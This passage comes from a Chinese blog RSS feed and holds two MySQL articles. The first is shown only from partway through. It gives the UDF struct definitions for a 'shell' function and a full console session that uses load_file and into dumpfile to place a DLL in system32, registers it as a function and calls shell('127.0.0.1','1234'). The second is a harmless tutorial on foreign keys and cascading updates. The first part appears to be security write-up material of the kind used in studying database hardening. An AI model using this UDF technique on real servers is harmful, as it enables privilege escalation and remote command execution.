unsigned&nbsp;int&nbsp;arg_count;&nbsp;/*&nbsp;Number&nbsp;of&nbsp;arguments&nbsp;*/&nbsp;&nbsp; <br />
enum&nbsp;Item_result&nbsp;*arg_type;&nbsp;/*&nbsp;Pointer&nbsp;to&nbsp;item_results&nbsp;*/&nbsp;&nbsp; <br />
char&nbsp;**args;&nbsp;/*&nbsp;Pointer&nbsp;to&nbsp;argument&nbsp;*/&nbsp;&nbsp; <br />
unsigned&nbsp;long&nbsp;*lengths;&nbsp;/*&nbsp;Length&nbsp;of&nbsp;string&nbsp;arguments&nbsp;*/&nbsp;&nbsp; <br />
char&nbsp;*maybe_null;&nbsp;/*&nbsp;Set&nbsp;to&nbsp;1&nbsp;for&nbsp;all&nbsp;maybe_null&nbsp;args&nbsp;*/&nbsp;&nbsp; <br />
}&nbsp;UDF_ARGS;&nbsp;&nbsp; <br />
<br />
typedef&nbsp;struct&nbsp;st_udf_init&nbsp;&nbsp; <br />
{&nbsp;&nbsp; <br />
my_bool&nbsp;maybe_null;&nbsp;/*&nbsp;1&nbsp;if&nbsp;function&nbsp;can&nbsp;return&nbsp;NULL&nbsp;*/&nbsp;&nbsp; <br />
unsigned&nbsp;int&nbsp;decimals;&nbsp;/*&nbsp;for&nbsp;real&nbsp;functions&nbsp;*/&nbsp;&nbsp; <br />
unsigned&nbsp;int&nbsp;max_length;&nbsp;/*&nbsp;For&nbsp;string&nbsp;functions&nbsp;*/&nbsp;&nbsp; <br />
char&nbsp;*ptr;&nbsp;/*&nbsp;free&nbsp;pointer&nbsp;for&nbsp;function&nbsp;data&nbsp;*/&nbsp;&nbsp; <br />
char&nbsp;const_item;&nbsp;/*&nbsp;0&nbsp;if&nbsp;result&nbsp;is&nbsp;independent&nbsp;of&nbsp;arguments&nbsp;*/&nbsp;&nbsp; <br />
}&nbsp;UDF_INIT;&nbsp;&nbsp; <br />
<br />
LIB&nbsp;my_bool&nbsp;shell_init(&nbsp;UDF_INIT&nbsp;*,&nbsp;UDF_ARGS&nbsp;*,&nbsp;char&nbsp;*&nbsp;);&nbsp;&nbsp; <br />
<br />
LIB&nbsp;int&nbsp;shell(&nbsp;UDF_INIT&nbsp;*,&nbsp;UDF_ARGS&nbsp;*,&nbsp;char&nbsp;*,&nbsp;char&nbsp;*&nbsp;);&nbsp;&nbsp; <br />
<br />
2、mysql5限制了udf对应的文件dll文件只可以放在system32目录下。&nbsp; <br />
对于一般低权限的系统用户是没有对system32目录写权限的，在这样的情况下我们可以使用into&nbsp;dumpfile把dll文件放到system32来突破，具体如下：&nbsp; <br />
mysql&gt;&nbsp;use&nbsp;mysql;&nbsp; <br />
Database&nbsp;changed&nbsp; <br />
mysql&gt;&nbsp;create&nbsp;table&nbsp;heige(line&nbsp;blob);&nbsp; <br />
Query&nbsp;OK,&nbsp;0&nbsp;rows&nbsp;affected&nbsp;(0.50&nbsp;sec)&nbsp; <br />
<br />
mysql&gt;&nbsp;insert&nbsp;into&nbsp;heige&nbsp;values(load_file(&#8217;c:/udf.dll&#8217;));&nbsp; <br />
Query&nbsp;OK,&nbsp;1&nbsp;row&nbsp;affected&nbsp;(0.08&nbsp;sec)&nbsp; <br />
<br />
mysql&gt;&nbsp;select&nbsp;*&nbsp;from&nbsp;heige&nbsp;into&nbsp;dumpfile&nbsp;&#8217;c:/winnt/system32/heige.dll&#8217;;&nbsp; <br />
Query&nbsp;OK,&nbsp;1&nbsp;row&nbsp;affected&nbsp;(0.18&nbsp;sec)&nbsp; <br />
<br />
mysql&gt;&nbsp;create&nbsp;function&nbsp;shell&nbsp;returns&nbsp;integer&nbsp;soname&nbsp;&#8217;heige.dll&#8217;;&nbsp; <br />
Query&nbsp;OK,&nbsp;0&nbsp;rows&nbsp;affected&nbsp;(0.07&nbsp;sec)&nbsp; <br />
<br />
mysql&gt;&nbsp;select&nbsp;*&nbsp;from&nbsp;mysql.func;&nbsp; <br />
+-------+-----+-----------+----------+&nbsp; <br />
|&nbsp;name&nbsp;|&nbsp;ret&nbsp;|&nbsp;dl&nbsp;|&nbsp;type&nbsp;|&nbsp; <br />
+-------+-----+-----------+----------+&nbsp; <br />
|&nbsp;shell&nbsp;|&nbsp;2&nbsp;|&nbsp;heige.dll&nbsp;|&nbsp;function&nbsp;|&nbsp; <br />
+-------+-----+-----------+----------+&nbsp; <br />
1&nbsp;row&nbsp;in&nbsp;set&nbsp;(0.00&nbsp;sec)&nbsp; <br />
<br />
mysql&gt;&nbsp;select&nbsp;shell(&#8217;127.0.0.1&#8217;,&#8217;1234&#8217;);&nbsp; <br />
+---------------------------+&nbsp; <br />
|&nbsp;shell(&#8217;127.0.0.1&#8217;,&#8217;1234&#8217;)&nbsp;|&nbsp; <br />
+---------------------------+&nbsp; <br />
|&nbsp;NULL&nbsp;|&nbsp; <br />
+---------------------------+&nbsp; <br />
1&nbsp;row&nbsp;in&nbsp;set&nbsp;(0.97&nbsp;sec)&nbsp; <br />
<br />
五、参考&nbsp; <br />
《MySQL&nbsp;5.0&nbsp;Reference&nbsp;Manual》&nbsp;http://dev.mysql.com/doc/refman/5.0/en/&nbsp; <br />
《Hackproofing&nbsp;MySQL》&nbsp;http://www.ngssoftware.com/papers/HackproofingMySQL.pdf&nbsp; <br />
《给mysql加个自定义函数（windows平台）》http://www.icylife.net/yunshu/show.php?id=244&nbsp; 
<img src ="http://www.blogjava.net/msmary/aggbug/154866.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/msmary/" target="_blank">谭明</a> 2007-10-22 09:54 <a href="http://www.blogjava.net/msmary/articles/154866.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在MySQL数据库中定义外键</title><link>http://www.blogjava.net/msmary/articles/153738.html</link><dc:creator>谭明</dc:creator><author>谭明</author><pubDate>Wed, 17 Oct 2007 19:21:00 GMT</pubDate><guid>http://www.blogjava.net/msmary/articles/153738.html</guid><wfw:comment>http://www.blogjava.net/msmary/comments/153738.html</wfw:comment><comments>http://www.blogjava.net/msmary/articles/153738.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/msmary/comments/commentRss/153738.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/msmary/services/trackbacks/153738.html</trackback:ping><description><![CDATA[&nbsp;
<p style="line-height: 16.5pt; text-align: left" align="left"><strong><span style="color: #323432; font-family: 宋体">定义数据表</span></strong></p>
<p style="line-height: 16.5pt; text-align: left" align="left"><span style="color: #323432; font-family: 宋体">假如某个电脑生产商，它的数据库中保存着整机和配件的产品信息。用来保存整机产品信息的表叫做</span><span style="color: #323432; font-family: Verdana">pc</span><span style="color: #323432; font-family: 宋体">；用来保存配件供货信息的表叫做</span><span style="color: #323432; font-family: Verdana">parts</span><span style="color: #323432; font-family: 宋体">。</span></p>
<p style="line-height: 16.5pt; text-align: left" align="left"><span style="color: #323432; font-family: 宋体">在</span><span style="color: #323432; font-family: Verdana">pc</span><span style="color: #323432; font-family: 宋体">表中有一个字段，用来描述这款电脑所使用的</span><span style="color: #323432; font-family: Verdana">CPU</span><span style="color: #323432; font-family: 宋体">型号；在</span><span style="color: #323432; font-family: Verdana">parts</span><span style="color: #323432; font-family: 宋体">表中相应有一个字段，描述的正是</span><span style="color: #323432; font-family: Verdana">CPU</span><span style="color: #323432; font-family: 宋体">的型号，我们可以把它想成是全部</span><span style="color: #323432; font-family: Verdana">CPU</span><span style="color: #323432; font-family: 宋体">的型号列表。</span></p>
<p style="line-height: 16.5pt; text-align: left" align="left"><span style="color: #323432; font-family: 宋体">很显然，这个厂家生产的电脑，其使用的</span><span style="color: #323432; font-family: Verdana">CPU</span><span style="color: #323432; font-family: 宋体">一定是供货信息表</span><span style="color: #323432; font-family: Verdana">(parts)</span><span style="color: #323432; font-family: 宋体">中存在的型号。这时，两个表中就存在一种约束关系</span><span style="color: #323432; font-family: Verdana">(constraint)——pc</span><span style="color: #323432; font-family: 宋体">表中的</span><span style="color: #323432; font-family: Verdana">CPU</span><span style="color: #323432; font-family: 宋体">型号受到</span><span style="color: #323432; font-family: Verdana">parts</span><span style="color: #323432; font-family: 宋体">表中型号的约束。</span></p>
<p style="line-height: 16.5pt; text-align: left" align="left"><span style="color: #323432; font-family: 宋体">首先我们来创建</span><span style="color: #323432; font-family: Verdana">parts</span><span style="color: #323432; font-family: 宋体">表：</span></p>
<div align="center">
<table style="width: 300pt; border-collapse: collapse" cellspacing="0" cellpadding="0" width="400" border="1">
    <tbody>
        <tr>
            <td style="padding-right: 1.5pt; padding-left: 1.5pt; background: #e6e6e6; padding-bottom: 1.5pt; padding-top: 1.5pt">
            <p style="line-height: 16.5pt; text-align: left; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt" align="left"><span style="color: #323432; font-family: 宋体">CREATE TABLE parts (<br />
            <br />
            ... </span><span style="color: #323432; font-family: 宋体">字段定义 ...,<br />
            <br />
            model VARCHAR(20) NOT NULL,<br />
            <br />
            ... 字段定义 ...<br />
            <br />
            );</span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p style="line-height: 16.5pt; text-align: left" align="left"><span style="color: #323432; font-family: 宋体">接下来是</span><span style="color: #323432; font-family: Verdana">PC</span><span style="color: #323432; font-family: 宋体">表：</span></p>
<div align="center">
<table style="width: 300pt; border-collapse: collapse" cellspacing="0" cellpadding="0" width="400" border="1">
    <tbody>
        <tr>
            <td style="padding-right: 1.5pt; padding-left: 1.5pt; background: #e6e6e6; padding-bottom: 1.5pt; padding-top: 1.5pt">
            <p style="line-height: 16.5pt; text-align: left; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt" align="left"><span style="color: #323432; font-family: 宋体">CREATE TABLE pc (<br />
            <br />
            ... </span><span style="color: #323432; font-family: 宋体">字段定义 ...,<br />
            <br />
            cpumodel VARCHAR(20) NOT NULL,<br />
            <br />
            ... 字段定义 ...<br />
            <br />
            };</span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p style="line-height: 16.5pt; text-align: left" align="left"><strong><span style="color: #323432; font-family: 宋体">设置索引</span></strong></p>
<p style="line-height: 16.5pt; text-align: left" align="left"><span style="color: #323432; font-family: 宋体">若要设置外键，在参照表</span><span style="color: #323432; font-family: Verdana"> (referencing table</span><span style="color: #323432; font-family: 宋体">，即</span><span style="color: #323432; font-family: Verdana">pc</span><span style="color: #323432; font-family: 宋体">表</span><span style="color: #323432; font-family: Verdana">) </span><span style="color: #323432; font-family: 宋体">和被参照表</span><span style="color: #323432; font-family: Verdana">(referenced table</span><span style="color: #323432; font-family: 宋体">，即</span><span style="color: #323432; font-family: Verdana">parts</span><span style="color: #323432; font-family: 宋体">表</span><span style="color: #323432; font-family: Verdana">)</span><span style="color: #323432; font-family: 宋体">中，相对应的两个字段必须都设置索引</span><span style="color: #323432; font-family: Verdana">(index)</span><span style="color: #323432; font-family: 宋体">。</span></p>
<p style="line-height: 16.5pt; text-align: left" align="left"><span style="color: #323432; font-family: 宋体">对</span><span style="color: #323432; font-family: Verdana">parts</span><span style="color: #323432; font-family: 宋体">表：</span></p>
<div align="center">
<table style="width: 300pt; border-collapse: collapse" cellspacing="0" cellpadding="0" width="400" border="1">
    <tbody>
        <tr>
            <td style="padding-right: 1.5pt; padding-left: 1.5pt; background: #e6e6e6; padding-bottom: 1.5pt; padding-top: 1.5pt">
            <p style="line-height: 16.5pt; text-align: left; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt" align="left"><span style="color: #323432; font-family: 宋体">ALTER TABLE parts ADD INDEX idx_model (model);</span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p style="line-height: 16.5pt; text-align: left" align="left"><span style="color: #323432; font-family: 宋体">这句话的意思是，为</span><span style="color: #323432; font-family: Verdana">parts</span><span style="color: #323432; font-family: 宋体">表增加一个索引，索引建立在</span><span style="color: #323432; font-family: Verdana">model</span><span style="color: #323432; font-family: 宋体">字段上，给这个索引起个名字叫</span><span style="color: #323432; font-family: Verdana">idx_model</span><span style="color: #323432; font-family: 宋体">。</span></p>
<p style="line-height: 16.5pt; text-align: left" align="left"><span style="color: #323432; font-family: 宋体">对</span><span style="color: #323432; font-family: Verdana">pc</span><span style="color: #323432; font-family: 宋体">表也类似：</span></p>
<div align="center">
<table style="width: 300pt; border-collapse: collapse" cellspacing="0" cellpadding="0" width="400" border="1">
    <tbody>
        <tr>
            <td style="padding-right: 1.5pt; padding-left: 1.5pt; background: #e6e6e6; padding-bottom: 1.5pt; padding-top: 1.5pt">
            <p style="line-height: 16.5pt; text-align: left; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt" align="left"><span style="color: #323432; font-family: 宋体">ALTER TABLE pc ADD INDEX idx_cpumodel (cpumodel);</span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p style="line-height: 16.5pt; text-align: left" align="left"><span style="color: #323432; font-family: 宋体">事实上这两个索引可以在创建表的时候就设置。这里只是为了突出其必要性。</span></p>
<p style="line-height: 16.5pt; text-align: left" align="left"><strong><span style="color: #323432; font-family: 宋体">定义外键</span></strong></p>
<p style="line-height: 16.5pt; text-align: left" align="left"><span style="color: #323432; font-family: 宋体">下面为两张表之间建立前面所述的那种</span><span style="color: #323432; font-family: Verdana">&#8220;</span><span style="color: #323432; font-family: 宋体">约束</span><span style="color: #323432; font-family: Verdana">&#8221;</span><span style="color: #323432; font-family: 宋体">。因为</span><span style="color: #323432; font-family: Verdana">pc</span><span style="color: #323432; font-family: 宋体">的</span><span style="color: #323432; font-family: Verdana">CPU</span><span style="color: #323432; font-family: 宋体">型号必须参照</span><span style="color: #323432; font-family: Verdana">parts</span><span style="color: #323432; font-family: 宋体">表中的相应型号，所以我们将</span><span style="color: #323432; font-family: Verdana">pc</span><span style="color: #323432; font-family: 宋体">表的</span><span style="color: #323432; font-family: Verdana">cpumodel</span><span style="color: #323432; font-family: 宋体">字段设置为</span><span style="color: #323432; font-family: Verdana">&#8220;</span><span style="color: #323432; font-family: 宋体">外键</span><span style="color: #323432; font-family: Verdana">&#8221;(FOREIGN KEY)</span><span style="color: #323432; font-family: 宋体">，即这个键的参照值来自于其他表。</span></p>
<div align="center">
<table style="width: 300pt; border-collapse: collapse" cellspacing="0" cellpadding="0" width="400" border="1">
    <tbody>
        <tr>
            <td style="padding-right: 1.5pt; padding-left: 1.5pt; background: #e6e6e6; padding-bottom: 1.5pt; padding-top: 1.5pt">
            <p style="line-height: 16.5pt; text-align: left; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt" align="left"><span style="color: #323432; font-family: 宋体">ALTER TABLE pc ADD CONSTRAINT fk_cpu_model <br />
            <br />
            FOREIGN KEY (cpumodel) <br />
            <br />
            REFERENCES parts(model);</span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p style="line-height: 16.5pt; text-align: left" align="left"><span style="color: #323432; font-family: 宋体">第一行是说要为</span><span style="color: #323432; font-family: Verdana">pc</span><span style="color: #323432; font-family: 宋体">表设置外键，给这个外键起一个名字叫做</span><span style="color: #323432; font-family: Verdana">fk_cpu_model</span><span style="color: #323432; font-family: 宋体">；第二行是说将本表的</span><span style="color: #323432; font-family: Verdana">cpumodel</span><span style="color: #323432; font-family: 宋体">字段设置为外键；第三行是说这个外键受到的约束来自于</span><span style="color: #323432; font-family: Verdana">parts</span><span style="color: #323432; font-family: 宋体">表的</span><span style="color: #323432; font-family: Verdana">model</span><span style="color: #323432; font-family: 宋体">字段。</span></p>
<p style="line-height: 16.5pt; text-align: left" align="left"><span style="color: #323432; font-family: 宋体">这样，我们的外键就搞好了！如果我们试着</span><span style="color: #323432; font-family: Verdana">CREATE</span><span style="color: #323432; font-family: 宋体">一台</span><span style="color: #323432; font-family: Verdana">pc</span><span style="color: #323432; font-family: 宋体">，它所使用的</span><span style="color: #323432; font-family: Verdana">CPU</span><span style="color: #323432; font-family: 宋体">的型号是</span><span style="color: #323432; font-family: Verdana">parts </span><span style="color: #323432; font-family: 宋体">表中不存在的，那么</span><span style="color: #323432; font-family: Verdana">MySQL</span><span style="color: #323432; font-family: 宋体">会禁止这台</span><span style="color: #323432; font-family: Verdana">PC</span><span style="color: #323432; font-family: 宋体">被</span><span style="color: #323432; font-family: Verdana">CREATE</span><span style="color: #323432; font-family: 宋体">出来。</span></p>
<p style="line-height: 16.5pt; text-align: left" align="left"><strong><span style="color: #323432; font-family: 宋体">级联操作</span></strong></p>
<p style="line-height: 16.5pt; text-align: left" align="left"><span style="color: #323432; font-family: 宋体">考虑以下这种情况：</span></p>
<p style="line-height: 16.5pt; text-align: left" align="left"><span style="color: #323432; font-family: 宋体">技术人员发现，一个月之前输入到</span><span style="color: #323432; font-family: Verdana">parts</span><span style="color: #323432; font-family: 宋体">表中的某个系列的</span><span style="color: #323432; font-family: Verdana">cpu</span><span style="color: #323432; font-family: 宋体">（可能有很多款）的型号全都输错了一个字母，现在需要改正。我们希望的是，当</span><span style="color: #323432; font-family: Verdana">parts</span><span style="color: #323432; font-family: 宋体">表中那些</span><span style="color: #323432; font-family: Verdana"> Referenced Column </span><span style="color: #323432; font-family: 宋体">有所变化时，相应表中的</span><span style="color: #323432; font-family: Verdana"> Referencing Column </span><span style="color: #323432; font-family: 宋体">也能自动更正。</span></p>
<p style="line-height: 16.5pt; text-align: left" align="left"><span style="color: #323432; font-family: 宋体">可以在定义外键的时候，在最后加入这样的关键字：</span></p>
<div align="center">
<table style="width: 300pt; border-collapse: collapse" cellspacing="0" cellpadding="0" width="400" border="1">
    <tbody>
        <tr>
            <td style="padding-right: 1.5pt; padding-left: 1.5pt; background: #e6e6e6; padding-bottom: 1.5pt; padding-top: 1.5pt">
            <p style="line-height: 16.5pt; text-align: left; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt" align="left"><span style="color: #323432; font-family: 宋体">ON UPDATE CASCADE;</span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p style="line-height: 16.5pt; text-align: left" align="left"><span style="color: #323432; font-family: 宋体">即在主表更新时，子表（们）产生连锁更新动作，似乎有些人喜欢把这个叫</span><span style="color: #323432; font-family: Verdana">&#8220;</span><span style="color: #323432; font-family: 宋体">级联</span><span style="color: #323432; font-family: Verdana">&#8221;</span><span style="color: #323432; font-family: 宋体">操作。</span></p>
<p style="line-height: 16.5pt; text-align: left" align="left"><span style="color: #323432; font-family: 宋体">如果把这语句完整的写出来，就是：</span></p>
<div align="center">
<table style="width: 300pt; border-collapse: collapse" cellspacing="0" cellpadding="0" width="400" border="1">
    <tbody>
        <tr>
            <td style="padding-right: 1.5pt; padding-left: 1.5pt; background: #e6e6e6; padding-bottom: 1.5pt; padding-top: 1.5pt">
            <p style="line-height: 16.5pt; text-align: left; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt" align="left"><span style="color: #323432; font-family: 宋体">ALTER TABLE pc ADD CONSTRAINT fk_cpu_model <br />
            <br />
            FOREIGN KEY (cpumodel) <br />
            <br />
            REFERENCES parts(model)<br />
            <br />
            ON UPDATE CASCADE;</span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p style="line-height: 16.5pt; text-align: left" align="left"><span style="color: #323432; font-family: 宋体">除了</span><span style="color: #323432; font-family: Verdana">CASCADE</span><span style="color: #323432; font-family: 宋体">外，还有</span><span style="color: #323432; font-family: Verdana">RESTRICT(</span><span style="color: #323432; font-family: 宋体">禁止主表变更</span><span style="color: #323432; font-family: Verdana">)</span><span style="color: #323432; font-family: 宋体">、</span><span style="color: #323432; font-family: Verdana">SET NULL</span></p>
<img src ="http://www.blogjava.net/msmary/aggbug/153738.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/msmary/" target="_blank">谭明</a> 2007-10-18 03:21 <a href="http://www.blogjava.net/msmary/articles/153738.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>